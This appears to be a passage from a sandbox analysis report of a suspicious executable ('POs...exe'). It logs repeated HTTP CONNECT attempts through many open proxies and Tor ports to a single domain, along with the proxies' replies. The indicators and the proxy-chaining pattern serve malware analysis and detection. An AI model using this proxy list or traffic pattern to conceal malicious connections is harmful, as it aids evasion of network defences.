Mar 11, 2024 16:42:21.016625881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.376440048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.689878941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.986133099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.485599995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:41.282352924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.11	50177	174.64.199.82	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.873352051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.11	50249	54.212.22.168	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.874253035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.070348978 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:18 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.11	50073	49.228.131.169	5000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.884799004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.257714033 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:42:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.11	50091	218.6.120.111	7777	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.897509098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.11	50211	68.1.210.163	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.899831057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.11	50212	24.249.199.4	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.899836063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.11	50297	104.18.161.122	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.921000957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.077073097 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.11	50203	13.208.168.179	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.921319008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.196988106 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:19 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.11	50262	103.35.189.217	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.921571016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.485372066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.204157114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.626034975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.603408098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.475627899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.345330000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.142131090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.501014948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.11	50268	12.176.231.147	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.921571016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.438496113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.047895908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.266696930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.876287937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.376739979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.985919952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.876462936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.594732046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.11	50173	185.217.136.67	1337	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.921571970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.222449064 CET	536	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3902 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.11	50190	46.35.9.110	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.922312021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.11	50080	93.171.220.229	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.923736095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.719741106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.11	50176	223.19.111.185	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.935175896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.610348940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.563508034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.641962051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.439234972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.345151901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.142508984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:41.735521078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.11	50108	103.167.68.77	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.939022064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.735384941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.149960995 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.11	50200	161.97.74.176	30000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:18.944492102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.261750937 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.11	50146	138.36.150.16	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

